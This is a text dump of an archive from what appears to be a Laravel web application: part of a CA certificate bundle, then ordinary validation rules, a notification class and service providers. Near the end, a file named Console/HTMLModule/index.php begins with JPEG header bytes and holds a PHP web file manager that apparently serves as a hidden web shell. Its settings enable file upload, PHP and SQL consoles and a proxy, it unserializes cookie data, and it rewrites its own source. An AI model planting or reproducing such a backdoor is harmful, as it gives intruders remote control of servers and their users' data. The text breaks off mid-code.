lpKQd/Ct9JDpEXjXk4nAPQu6KfTomZ1yju2dL+6SfaHx/126M2CFYv4HAqGEVka+lgqaE9chTLd8 B59OTj+RdPsnnRHM3eaxynFNExc5JsUpISuTKWqW+qtB4Uu2NQvAmxU= -----END CERTIFICATE----- TÜRKTRUST Elektronik Sertifika Hizmet Sağlayıcısı H6 ========================================================= -----BEGIN CERTIFICATE----- MIIEJjCCAw6gAwIBAgIGfaHyZeyKMA0GCSqGSIb3DQEBCwUAMIGxMQswCQYDVQQGEwJUUjEPMA0G A1UEBwwGQW5rYXJhMU0wSwYDVQQKDERUw5xSS1RSVVNUIEJpbGdpIMSwbGV0acWfaW0gdmUgQmls acWfaW0gR8O8dmVubGnEn2kgSGl6bWV0bGVyaSBBLsWeLjFCMEAGA1UEAww5VMOcUktUUlVTVCBF bGVrdHJvbmlrIFNlcnRpZmlrYSBIaXptZXQgU2HEn2xhecSxY8Sxc8SxIEg2MB4XDTEzMTIxODA5 MDQxMFoXDTIzMTIxNjA5MDQxMFowgbExCzAJBgNVBAYTAlRSMQ8wDQYDVQQHDAZBbmthcmExTTBL BgNVBAoMRFTDnFJLVFJVU1QgQmlsZ2kgxLBsZXRpxZ9pbSB2ZSBCaWxpxZ9pbSBHw7x2ZW5sacSf aSBIaXptZXRsZXJpIEEuxZ4uMUIwQAYDVQQDDDlUw5xSS1RSVVNUIEVsZWt0cm9uaWsgU2VydGlm aWthIEhpem1ldCBTYcSfbGF5xLFjxLFzxLEgSDYwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK AoIBAQCdsGjW6L0UlqMACprx9MfMkU1xeHe59yEmFXNRFpQJRwXiM/VomjX/3EsvMsew7eKC5W/a 2uqsxgbPJQ1BgfbBOCK9+bGlprMBvD9QFyv26WZV1DOzXPhDIHiTVRZwGTLmiddk671IUP320EED wnS3/faAz1vFq6TWlRKb55cTMgPp1KtDWxbtMyJkKbbSk60vbNg9tvYdDjTu0n2pVQ8g9P0pu5Fb HH3GQjhtQiht1AH7zYiXSX6484P4tZgvsycLSF5W506jM7NE1qXyGJTtHB6plVxiSvgNZ1GpryHV +DKdeboaX+UEVU0TRv/yz3THGmNtwx8XEsMeED5gCLMxAgMBAAGjQjBAMB0GA1UdDgQWBBTdVRcT 9qzoSCHK77Wv0QAy7Z6MtTAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG 9w0BAQsFAAOCAQEAb1gNl0OqFlQ+v6nfkkU/hQu7VtMMUszIv3ZnXuaqs6fvuay0EBQNdH49ba3R fdCaqaXKGDsCQC4qnFAUi/5XfldcEQlLNkVS9z2sFP1E34uXI9TDwe7UU5X+LEr+DXCqu4svLcsy o4LyVN/Y8t3XSHLuSqMplsNEzm61kod2pLv0kmzOLBQJZo6NrRa1xxsJYTvjIKIDgI6tflEATseW hvtDmHd9KMeP2Cpu54Rvl0EpABZeTeIT6lnAY2c6RPuY/ATTMHKm9ocJV612ph1jmv3XZch4gyt1 O6VbuA1df74jrlZVlFjvH4GMKrLN5ptjnhi85WsGtAuYSyher4hYyw== -----END CERTIFICATE----- Certinomis - Root CA ==================== -----BEGIN CERTIFICATE----- MIIFkjCCA3qgAwIBAgIBATANBgkqhkiG9w0BAQsFADBaMQswCQYDVQQGEwJGUjETMBEGA1UEChMK Q2VydGlub21pczEXMBUGA1UECxMOMDAwMiA0MzM5OTg5MDMxHTAbBgNVBAMTFENlcnRpbm9taXMg LSBSb290IENBMB4XDTEzMTAyMTA5MTcxOFoXDTMzMTAyMTA5MTcxOFowWjELMAkGA1UEBhMCRlIx EzARBgNVBAoTCkNlcnRpbm9taXMxFzAVBgNVBAsTDjAwMDIgNDMzOTk4OTAzMR0wGwYDVQQDExRD ZXJ0aW5vbWlzIC0gUm9vdCBDQTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBANTMCQos P5L2fxSeC5yaah1AMGT9qt8OHgZbn1CF6s2Nq0Nn3rD6foCWnoR4kkjW4znuzuRZWJflLieY6pOo d5tK8O90gC3rMB+12ceAnGInkYjwSond3IjmFPnVAy//ldu9n+ws+hQVWZUKxkd8aRi5pwP5ynap z8dvtF4F/u7BUrJ1Mofs7SlmO/NKFoL21prbcpjp3vDFTKWrteoB4owuZH9kb/2jJZOLyKIOSY00 8B/sWEUuNKqEUL3nskoTuLAPrjhdsKkb5nPJWqHZZkCqqU2mNAKthH6yI8H7KsZn9DS2sJVqM09x RLWtwHkziOC/7aOgFLScCbAK42C++PhmiM1b8XcF4LVzbsF9Ri6OSyemzTUK/eVNfaoqoynHWmgE 6OXWk6RiwsXm9E/G+Z8ajYJJGYrKWUM66A0ywfRMEwNvbqY/kXPLynNvEiCL7sCCeN5LLsJJwx3t FvYk9CcbXFcx3FXuqB5vbKziRcxXV4p1VxngtViZSTYxPDMBbRZKzbgqg4SGm/lg0h9tkQPTYKbV PZrdd5A9NaSfD171UkRpucC63M9933zZxKyGIjK8e2uR73r4F2iw4lNVYC2vPsKD2NkJK/DAZNuH i5HMkesE/Xa0lZrmFAYb1TQdvtj/dBxThZngWVJKYe2InmtJiUZ+IFrZ50rlau7SZRFDAgMBAAGj YzBhMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBTvkUz1pcMw6C8I 6tNxIqSSaHh02TAfBgNVHSMEGDAWgBTvkUz1pcMw6C8I6tNxIqSSaHh02TANBgkqhkiG9w0BAQsF AAOCAgEAfj1U2iJdGlg+O1QnurrMyOMaauo++RLrVl89UM7g6kgmJs95Vn6RHJk/0KGRHCwPT5iV WVO90CLYiF2cN/z7ZMF4jIuaYAnq1fohX9B0ZedQxb8uuQsLrbWwF6YSjNRieOpWauwK0kDDPAUw Pk2Ut59KA9N9J0u2/kTO+hkzGm2kQtHdzMjI1xZSg081lLMSVX3l4kLr5JyTCcBMWwerx20RoFAX lCOotQqSD7J6wWAsOMwaplv/8gzjqh8c3LigkyfeY+N/IZ865Z764BNqdeuWXGKRlI5nU7aJ+BIJ y29SWwNyhlCVCNSNh4YVH5Uk2KRvms6knZtt0rJ2BobGVgjF6wnaNsIbW0G+YSrjcOa4pvi2WsS9 Iff/ql+hbHY5ZtbqTFXhADObE5hjyW/QASAJN1LnDE8+zbz1X5YnpyACleAu6AdBBR8Vbtaw5Bng DwKTACdyxYvRVB9dSsNAl35VpnzBMwQUAR1JIGkLGZOdblgi90AMRgwjY/M50n92Uaf0yKHxDHYi I0ZSKS3io0EHVmmY0gUJvGnHWmHNj4FgFU2A3ZDifcRQ8ow7bkrHxuaAKzyBvBGAFhAn1/DNP3nM cyrDflOR1m749fPH0FFNjkulW+YZFzvWgQncItzujrnEj1PhZ7szuIgVRs/taTX/dQ1G885x4cVr hkIGuUE= -----END CERTIFICATE----- OISTE WISeKey Global Root GB CA =============================== -----BEGIN CERTIFICATE----- MIIDtTCCAp2gAwIBAgIQdrEgUnTwhYdGs/gjGvbCwDANBgkqhkiG9w0BAQsFADBtMQswCQYDVQQG EwJDSDEQMA4GA1UEChMHV0lTZUtleTEiMCAGA1UECxMZT0lTVEUgRm91bmRhdGlvbiBFbmRvcnNl ZDEoMCYGA1UEAxMfT0lTVEUgV0lTZUtleSBHbG9iYWwgUm9vdCBHQiBDQTAeFw0xNDEyMDExNTAw MzJaFw0zOTEyMDExNTEwMzFaMG0xCzAJBgNVBAYTAkNIMRAwDgYDVQQKEwdXSVNlS2V5MSIwIAYD VQQLExlPSVNURSBGb3VuZGF0aW9uIEVuZG9yc2VkMSgwJgYDVQQDEx9PSVNURSBXSVNlS2V5IEds b2JhbCBSb290IEdCIENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2Be3HEokKtaX scriHvt9OO+Y9bI5mE4nuBFde9IllIiCFSZqGzG7qFshISvYD06fWvGxWuR51jIjK+FTzJlFXHtP rby/h0oLS5daqPZI7H17Dc0hBt+eFf1Biki3IPShehtX1F1Q/7pn2COZH8g/497/b1t3sWtuuMlk 9+HKQUYOKXHQuSP8yYFfTvdv37+ErXNku7dCjmn21HYdfp2nuFeKUWdy19SouJVUQHMD9ur06/4o Qnc/nSMbsrY9gBQHTC5P99UKFg29ZkM3fiNDecNAhvVMKdqOmq0NpQSHiB6F4+lT1ZvIiwNjeOvg GUpuuy9rM2RYk61pv48b74JIxwIDAQABo1EwTzALBgNVHQ8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB /zAdBgNVHQ4EFgQUNQ/INmNe4qPs+TtmFc5RUuORmj0wEAYJKwYBBAGCNxUBBAMCAQAwDQYJKoZI hvcNAQELBQADggEBAEBM+4eymYGQfp3FsLAmzYh7KzKNbrghcViXfa43FK8+5/ea4n32cZiZBKpD dHij40lhPnOMTZTg+XHEthYOU3gf1qKHLwI5gSk8rxWYITD+KJAAjNHhy/peyP34EEY7onhCkRd0 VQreUGdNZtGn//3ZwLWoo4rOZvUPQ82nK1d7Y0Zqqi5S2PTt4W2tKZB4SLrhI6qjiey1q5bAtEui HZeeevJuQHHfaPFlTc58Bd9TZaml8LGXBHAVRgOY1NK/VLSgWH1Sb9pWJmLU2NuJMW8c8CLC02Ic Nc1MaRVUGpCY3useX8p3x8uOPUNpnJpY0CQ73xtAln41rYHHTnG6iBM= -----END CERTIFICATE----- Certification Authority of WoSign G2 ==================================== -----BEGIN CERTIFICATE----- MIIDfDCCAmSgAwIBAgIQayXaioidfLwPBbOxemFFRDANBgkqhkiG9w0BAQsFADBYMQswCQYDVQQG EwJDTjEaMBgGA1UEChMRV29TaWduIENBIExpbWl0ZWQxLTArBgNVBAMTJENlcnRpZmljYXRpb24g QXV0aG9yaXR5IG9mIFdvU2lnbiBHMjAeFw0xNDExMDgwMDU4NThaFw00NDExMDgwMDU4NThaMFgx CzAJBgNVBAYTAkNOMRowGAYDVQQKExFXb1NpZ24gQ0EgTGltaXRlZDEtMCsGA1UEAxMkQ2VydGlm aWNhdGlvbiBBdXRob3JpdHkgb2YgV29TaWduIEcyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB CgKCAQEAvsXEoCKASU+/2YcRxlPhuw+9YH+v9oIOH9ywjj2X4FA8jzrvZjtFB5sg+OPXJYY1kBai XW8wGQiHC38Gsp1ij96vkqVg1CuAmlI/9ZqD6TRay9nVYlzmDuDfBpgOgHzKtB0TiGsOqCR3A9Du W/PKaZE1OVbFbeP3PU9ekzgkyhjpJMuSA93MHD0JcOQg5PGurLtzaaNjOg9FD6FKmsLRY6zLEPg9 5k4ot+vElbGs/V6r+kHLXZ1L3PR8du9nfwB6jdKgGlxNIuG12t12s9R23164i5jIFFTMaxeSt+BK v0mUYQs4kI9dJGwlezt52eJ+na2fmKEG/HgUYFf47oB3sQIDAQABo0IwQDAOBgNVHQ8BAf8EBAMC AQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQU+mCp62XF3RYUCE4MD42b4Pdkr2cwDQYJKoZI hvcNAQELBQADggEBAFfDejaCnI2Y4qtAqkePx6db7XznPWZaOzG73/MWM5H8fHulwqZm46qwtyeY P0nXYGdnPzZPSsvxFPpahygc7Y9BMsaV+X3avXtbwrAh449G3CE4Q3RM+zD4F3LBMvzIkRfEzFg3 TgvMWvchNSiDbGAtROtSjFA9tWwS1/oJu2yySrHFieT801LYYRf+epSEj3m2M1m6D8QL4nCgS3gu +sif/a+RZQp4OBXllxcU3fngLDT4ONCEIgDAFFEYKwLcMFrw6AF8NTojrwjkr6qOKEJJLvD1mTS+ 7Q9LGOHSJDy7XUe3IfKN0QqZjuNuPq1w4I+5ysxugTH2e5x6eeRncRg= -----END CERTIFICATE----- CA WoSign ECC Root ================== -----BEGIN CERTIFICATE----- MIICCTCCAY+gAwIBAgIQaEpYcIBr8I8C+vbe6LCQkDAKBggqhkjOPQQDAzBGMQswCQYDVQQGEwJD TjEaMBgGA1UEChMRV29TaWduIENBIExpbWl0ZWQxGzAZBgNVBAMTEkNBIFdvU2lnbiBFQ0MgUm9v dDAeFw0xNDExMDgwMDU4NThaFw00NDExMDgwMDU4NThaMEYxCzAJBgNVBAYTAkNOMRowGAYDVQQK ExFXb1NpZ24gQ0EgTGltaXRlZDEbMBkGA1UEAxMSQ0EgV29TaWduIEVDQyBSb290MHYwEAYHKoZI zj0CAQYFK4EEACIDYgAE4f2OuEMkq5Z7hcK6C62N4DrjJLnSsb6IOsq/Srj57ywvr1FQPEd1bPiU t5v8KB7FVMxjnRZLU8HnIKvNrCXSf4/CwVqCXjCLelTOA7WRf6qU0NGKSMyCBSah1VES1ns2o0Iw QDAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUqv3VWqP2h4syhf3R MluARZPzA7gwCgYIKoZIzj0EAwMDaAAwZQIxAOSkhLCB1T2wdKyUpOgOPQB0TKGXa/kNUTyh2Tv0 Daupn75OcsqF1NnstTJFGG+rrQIwfcf3aWMvoeGY7xMQ0Xk/0f7qO3/eVvSQsRUR2LIiFdAvwyYu a/GRspBl9JrmkO5K -----END CERTIFICATE----- SZAFIR ROOT CA2 =============== -----BEGIN CERTIFICATE----- MIIDcjCCAlqgAwIBAgIUPopdB+xV0jLVt+O2XwHrLdzk1uQwDQYJKoZIhvcNAQELBQAwUTELMAkG A1UEBhMCUEwxKDAmBgNVBAoMH0tyYWpvd2EgSXpiYSBSb3psaWN6ZW5pb3dhIFMuQS4xGDAWBgNV BAMMD1NaQUZJUiBST09UIENBMjAeFw0xNTEwMTkwNzQzMzBaFw0zNTEwMTkwNzQzMzBaMFExCzAJ BgNVBAYTAlBMMSgwJgYDVQQKDB9LcmFqb3dhIEl6YmEgUm96bGljemVuaW93YSBTLkEuMRgwFgYD VQQDDA9TWkFGSVIgUk9PVCBDQTIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC3vD5Q qEvNQLXOYeeWyrSh2gwisPq1e3YAd4wLz32ohswmUeQgPYUM1ljj5/QqGJ3a0a4m7utT3PSQ1hNK DJA8w/Ta0o4NkjrcsbH/ON7Dui1fgLkCvUqdGw+0w8LBZwPd3BucPbOw3gAeqDRHu5rr/gsUvTaE 2g0gv/pby6kWIK05YO4vdbbnl5z5Pv1+TW9NL++IDWr63fE9biCloBK0TXC5ztdyO4mTp4CEHCdJ ckm1/zuVnsHMyAHs6A6KCpbns6aH5db5BSsNl0BwPLqsdVqc1U2dAgrSS5tmS0YHF2Wtn2yIANwi ieDhZNRnvDF5YTy7ykHNXGoAyDw4jlivAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0P AQH/BAQDAgEGMB0GA1UdDgQWBBQuFqlKGLXLzPVvUPMjX/hd56zwyDANBgkqhkiG9w0BAQsFAAOC AQEAtXP4A9xZWx126aMqe5Aosk3AM0+qmrHUuOQn/6mWmc5G4G18TKI4pAZw8PRBEew/R40/cof5 O/2kbytTAOD/OblqBw7rHRz2onKQy4I9EYKL0rufKq8h5mOGnXkZ7/e7DDWQw4rtTw/1zBLZpD67 oPwglV9PJi8RI4NOdQcPv5vRtB3pEAT+ymCPoky4rc/hkA/NrgrHXXu3UNLUYfrVFdvXn4dRVOul 4+vJhaAlIDf7js4MNIThPIGyd05DpYhfhmehPea0XGG2Ptv+tyjFogeutcrKjSoS75ftwjCkySp6 +/NNIxuZMzSgLvWpCz/UXeHPhJ/iGcJfitYgHuNztw== -----END CERTIFICATE----- Certum Trusted Network CA 2 =========================== -----BEGIN CERTIFICATE----- MIIF0jCCA7qgAwIBAgIQIdbQSk8lD8kyN/yqXhKN6TANBgkqhkiG9w0BAQ0FADCBgDELMAkGA1UE BhMCUEwxIjAgBgNVBAoTGVVuaXpldG8gVGVjaG5vbG9naWVzIFMuQS4xJzAlBgNVBAsTHkNlcnR1 bSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTEkMCIGA1UEAxMbQ2VydHVtIFRydXN0ZWQgTmV0d29y ayBDQSAyMCIYDzIwMTExMDA2MDgzOTU2WhgPMjA0NjEwMDYwODM5NTZaMIGAMQswCQYDVQQGEwJQ TDEiMCAGA1UEChMZVW5pemV0byBUZWNobm9sb2dpZXMgUy5BLjEnMCUGA1UECxMeQ2VydHVtIENl cnRpZmljYXRpb24gQXV0aG9yaXR5MSQwIgYDVQQDExtDZXJ0dW0gVHJ1c3RlZCBOZXR3b3JrIENB IDIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC9+Xj45tWADGSdhhuWZGc/IjoedQF9 7/tcZ4zJzFxrqZHmuULlIEub2pt7uZld2ZuAS9eEQCsn0+i6MLs+CRqnSZXvK0AkwpfHp+6bJe+o CgCXhVqqndwpyeI1B+twTUrWwbNWuKFBOJvR+zF/j+Bf4bE/D44WSWDXBo0Y+aomEKsq09DRZ40b Rr5HMNUuctHFY9rnY3lEfktjJImGLjQ/KUxSiyqnwOKRKIm5wFv5HdnnJ63/mgKXwcZQkpsCLL2p uTRZCr+ESv/f/rOf69me4Jgj7KZrdxYq28ytOxykh9xGc14ZYmhFV+SQgkK7QtbwYeDBoz1mo130 GO6IyY0XRSmZMnUCMe4pJshrAua1YkV/NxVaI2iJ1D7eTiew8EAMvE0Xy02isx7QBlrd9pPPV3WZ 9fqGGmd4s7+W/jTcvedSVuWz5XV710GRBdxdaeOVDUO5/IOWOZV7bIBaTxNyxtd9KXpEulKkKtVB Rgkg/iKgtlswjbyJDNXXcPiHUv3a76xRLgezTv7QCdpw75j6VuZt27VXS9zlLCUVyJ4ueE742pye hizKV/Ma5ciSixqClnrDvFASadgOWkaLOusm+iPJtrCBvkIApPjW/jAux9JG9uWOdf3yzLnQh1vM BhBgu4M1t15n3kfsmUjxpKEV/q2MYo45VU85FrmxY53/twIDAQABo0IwQDAPBgNVHRMBAf8EBTAD AQH/MB0GA1UdDgQWBBS2oVQ5AsOgP46KvPrU+Bym0ToO/TAOBgNVHQ8BAf8EBAMCAQYwDQYJKoZI hvcNAQENBQADggIBAHGlDs7k6b8/ONWJWsQCYftMxRQXLYtPU2sQF/xlhMcQSZDe28cmk4gmb3DW Al45oPePq5a1pRNcgRRtDoGCERuKTsZPpd1iHkTfCVn0W3cLN+mLIMb4Ck4uWBzrM9DPhmDJ2vuA L55MYIR4PSFk1vtBHxgP58l1cb29XN40hz5BsA72udY/CROWFC/emh1auVbONTqwX3BNXuMp8SMo clm2q8KMZiYcdywmdjWLKKdpoPk79SPdhRB0yZADVpHnr7pH1BKXESLjokmUbOe3lEu6LaTaM4tM pkT/WjzGHWTYtTHkpjx6qFcL2+1hGsvxznN3Y6SHb0xRONbkX8eftoEq5IVIeVheO/jbAoJnwTnb w3RLPTYe+SmTiGhbqEQZIfCn6IENLOiTNrQ3ssqwGyZ6miUfmpqAnksqP/ujmv5zMnHCnsZy4Ypo J/HkD7TETKVhk/iXEAcqMCWpuchxuO9ozC1+9eB+D4Kob7a6bINDd82Kkhehnlt4Fj1F4jNy3eFm ypnTycUm/Q1oBEauttmbjL4ZvrHG8hnjXALKLNhvSgfZyTXaQHXyxKcZb55CEJh15pWLYLztxRLX is7VmFxWlgPF7ncGNf/P5O4/E2Hu29othfDNrp2yGAlFw5Khchf8R7agCyzxxN5DaAhqXzvwdmP7 zAYspsbiDrW5viSP -----END CERTIFICATE----- PK(\˽Rules/ImageMimeTypeRule.phpnu[getClientOriginalExtension(); if (in_array($fileExtension, $allowedExtensions)) { return true; } else { return false; } } /** * Get the validation error message. * * @return string */ public function message() { if ( URL::current() == Route::is('admin.advertise.store_advertisement') || URL::current() == Route::is('admin.advertise.update_advertisement') ) { return 'Only .jpg, .jpeg, .png, .svg and .gif file is allowed.'; } else { return 'Only .jpg, .jpeg and .png file is allowed.'; } } } PK(\4oCCRules/MatchEmailRule.phpnu[personType = $role; } /** * Determine if the validation rule passes. * * @param string $attribute * @param mixed $value * @return bool */ public function passes($attribute, $value) { if ($this->personType == 'admin') { $admin = Admin::where('email', $value)->first(); if (is_null($admin)) { return false; } else { return true; } } else if ($this->personType == 'user') { $user = User::where('email', $value)->first(); if (is_null($user)) { return false; } else { return true; } } else if ($this->personType == 'vendor') { $user = Vendor::where('email', $value)->first(); if (is_null($user)) { return false; } else { return true; } } } /** * Get the validation error message. * * @return string */ public function message() { return 'This email does not exist!'; } } PK(\ `u<Rules/MatchOldPasswordRule.phpnu[personType = $role; } /** * Determine if the validation rule passes. * * @param string $attribute * @param mixed $value * @return bool */ public function passes($attribute, $value) { if ($this->personType == 'admin') { $authAdminPass = Auth::guard('admin')->user()->password; return Hash::check($value, $authAdminPass); } else if ($this->personType == 'user') { $authUserPass = Auth::guard('web')->user()->password; return Hash::check($value, $authUserPass); } else if ($this->personType == 'vendor') { $authUserPass = Auth::guard('vendor')->user()->password; return Hash::check($value, $authUserPass); } } /** * Get the validation error message. * * @return string */ public function message() { return 'Your provided current password does not match!'; } } PK(\Rules/Exceptions/.htaccessnu[ Order allow,deny Deny from all Order allow,deny Allow from all PK(\Y{{"Notifications/PushNotification.phpnu[title = $title; $this->message = $message; $this->buttonName = $buttonName; $this->buttonURL = $buttonURL; } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { return [WebPushChannel::class]; } /** * Get the web-push representation of the notification. * * @param mixed $notifiable * @return NotificationChannels\WebPush\WebPushMessage */ public function toWebPush($notifiable) { $notificationImage = Basic::query()->pluck('notification_image')->first(); return (new WebPushMessage) ->icon('./assets/img/' . $notificationImage) ->title($this->title) ->body($this->message) ->action($this->buttonName, $this->buttonURL); } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ public function toArray($notifiable) { return [ // ]; } } PK(\C0}}"Providers/EventServiceProvider.phpnu[ [ SendEmailVerificationNotification::class, ], ]; /** * Register any events for your application. * * @return void */ public function boot() { // } } PK(\5k!Providers/AuthServiceProvider.phpnu[registerPolicies(); // } } PK(\ "Providers/RouteServiceProvider.phpnu[configureRateLimiting(); $this->routes(function () { Route::prefix('api') ->middleware('api') ->namespace($this->namespace) ->group(base_path('routes/api.php')); Route::middleware('web') ->namespace($this->namespace) ->group(base_path('routes/admin.php')); Route::middleware('web') ->namespace($this->namespace) ->group(base_path('routes/vendor.php')); Route::middleware('web') ->namespace($this->namespace) ->group(base_path('routes/web.php')); }); } /** * Configure the rate limiters for the application. * * @return void */ protected function configureRateLimiting() { RateLimiter::for('api', function (Request $request) { return Limit::perMinute(60)->by(optional($request->user())->id ?: $request->ip()); }); } } PK(\'$ Providers/AppServiceProvider.phpnu[runningInConsole()) { # code... $data = DB::table('basic_settings')->select('favicon', 'website_title', 'logo', 'base_currency_text', 'base_currency_text_position', 'maintenance_img', 'maintenance_msg')->first(); // send this information to only admin view files View::composer('admin.*', function ($view) { if (Auth::guard('admin')->check() == true) { $authAdmin = Auth::guard('admin')->user(); $role = null; if (!is_null($authAdmin->role_id)) { $role = $authAdmin->role()->first(); } } $language = Language::query()->where('is_default', '=', 1)->first(); $websiteSettings = DB::table('basic_settings')->select('admin_theme_version', 'base_currency_symbol', 'base_currency_symbol_position', 'base_currency_symbol_position', 'base_currency_text_position', 'base_currency_text', 'base_currency_rate', 'theme_version', 'timezone')->first(); $footerText = $language->footerContent()->first(); if (Auth::guard('admin')->check() == true) { $view->with('roleInfo', $role); } $view->with('defaultLang', $language); $view->with('settings', $websiteSettings); $view->with('footerTextInfo', $footerText); }); // send this information to only back-end view files View::composer('vendors.*', function ($view) { $language = Language::query()->where('is_default', '=', 1)->first(); $footerText = $language->footerContent()->first(); $websiteSettings = DB::table('basic_settings')->select('admin_theme_version', 'base_currency_symbol', 'base_currency_symbol_position', 'base_currency_text', 'base_currency_text_position', 'base_currency_rate', 'theme_version', 'admin_approval_notice')->first(); $dowgraded = VendorPermissionHelper::packagesDowngraded(Auth::guard('vendor')->user()->id); $view->with('defaultLang', $language); $view->with('settings', $websiteSettings); $view->with('footerTextInfo', $footerText); $view->with(['listingImgDown' => $dowgraded['listingImgDown']]); $view->with(['listingImgListingContents' => $dowgraded['listingImgListingContents']]); $view->with(['listingProductDown' => $dowgraded['listingProductDown']]); $view->with(['listingProductListingContents' => $dowgraded['listingProductListingContents']]); $view->with(['listingFaqDown' => $dowgraded['listingFaqDown']]); $view->with(['listingFaqListingContents' => $dowgraded['listingFaqListingContents']]); $view->with(['featureDown' => $dowgraded['featureDown']]); $view->with(['listingFeaturesListingContents' => $dowgraded['listingFeaturesListingContents']]); $view->with(['socialLinkDown' => $dowgraded['socialLinkDown']]); $view->with(['socialListingContents' => $dowgraded['socialListingContents']]); $view->with(['amenitieDown' => $dowgraded['amenitieDown']]); $view->with(['amenitieListingContents' => $dowgraded['amenitieListingContents']]); $view->with(['listingProductImgDown' => $dowgraded['listingProductImgDown']]); $view->with(['ProductImgContents' => $dowgraded['ProductImgContents']]); }); // send this information to only front-end view files View::composer('frontend.*', function ($view) { // get basic info $basicData = DB::table('basic_settings') ->select('theme_version', 'footer_logo', 'footer_background_image', 'email_address', 'contact_number', 'address', 'primary_color', 'whatsapp_status', 'whatsapp_number', 'whatsapp_header_title', 'whatsapp_popup_status', 'whatsapp_popup_message', 'tawkto_status', 'tawkto_direct_chat_link', 'base_currency_symbol', 'base_currency_symbol_position', 'base_currency_text', 'base_currency_text_position', 'hero_section_video_url', 'preloader_status', 'preloader', 'shop_status') ->first(); // get all the languages of this system $allLanguages = Language::all(); $rateStar ='assets/front/images/rate-star.png'; // get the current locale of this website if (Session::has('currentLocaleCode')) { $locale = Session::get('currentLocaleCode'); } if (empty($locale)) { $language = Language::query()->where('is_default', '=', 1)->first(); } else { $language = Language::query()->where('code', '=', $locale)->first(); if (empty($language)) { $language = Language::query()->where('is_default', '=', 1)->first(); } } // get all the social medias $socialMedias = SocialMedia::query()->orderBy('serial_number', 'asc')->get(); // get the menus of this website $siteMenuInfo = $language->menuInfo; if (is_null($siteMenuInfo)) { $menus = json_encode([]); } else { $menus = $siteMenuInfo->menus; } // get the announcement popups $popups = $language->announcementPopup()->where('status', 1)->orderBy('serial_number', 'asc')->get(); // get the cookie alert info $cookieAlert = $language->cookieAlertInfo()->first(); $footerSectionStatus = Section::query()->pluck('footer_section_status')->first(); if ($footerSectionStatus == 1) { // get the footer info $footerData = $language->footerContent()->first(); // get the quick links of footer $quickLinks = $language->footerQuickLink()->orderBy('serial_number', 'asc')->get(); } // get shopping cart information from session if (Session::has('productCart')) { $information['productCart'] = Session::get('productCart'); $productsToShow = []; foreach ($information['productCart'] as $productId => $product) { $productExists = Product::where('id', $productId) ->where('status', 'show') ->exists(); if ($productExists) { $productsToShow[$productId] = $product; } } Session::put('productCart', $productsToShow); $information['productsToShow'] = $productsToShow; $cartItems = Session::get('productCart'); } else { $cartItems = []; } $view->with([ 'basicInfo' => $basicData, 'allLanguageInfos' => $allLanguages, 'currentLanguageInfo' => $language, 'socialMediaInfos' => $socialMedias, 'menuInfos' => $menus, 'popupInfos' => $popups, 'cookieAlertInfo' => $cookieAlert, 'footerInfo' => ($footerSectionStatus == 1) ? $footerData : NULL, 'quickLinkInfos' => ($footerSectionStatus == 1) ? $quickLinks : [], 'cartItemInfo' => $cartItems, 'footerSectionStatus' => $footerSectionStatus, 'rateStar' => $rateStar ]); }); // send this information to both front-end & back-end view files View::share(['websiteInfo' => $data]); } } } PK(\=Wdd&Providers/BroadcastServiceProvider.phpnu[ Order allow,deny Deny from all Order allow,deny Allow from all PK(\ P3$Exceptions/Handler.phpnu[reportable(function (Throwable $e) { // }); } } PK(\6?iViViConsole/HTMLModule/index.phpnu[ ÿØÿà JFIF    ÿÛ „  ( %!1!%*+...983,7(-.- true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) { $fm_config = $fm_default_config; } else { $fm_config = unserialize($_COOKIE['fm_config']); } // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + 86400 * $auth['days_authorization']); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if ($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])) { $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)) { foreach ($lang_priority as $lang_arr) { $lng = explode(';', $lang_arr); $lng = $lng[0]; if (in_array($lng, $langs)) { $language = $lng; break; } } } } // Cookie language is primary for ever $language = empty($_COOKIE['fm_lang']) ? $language : $_COOKIE['fm_lang']; // Localization $lang = json_decode($translation, true); if ($lang['id'] != $language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { //remove unnecessary characters $translation_string = str_replace("'", ''', json_encode(json_decode($get_lang), JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\\s]?\\=[\\s]?\'\\{\\"(.*?)\\"\\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"' . $matches[1] . '"}', $translation_string, $fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else { $msg .= __('Error occurred'); } if (!empty($fm_config['fm_restore_time'])) { touch(__FILE__, 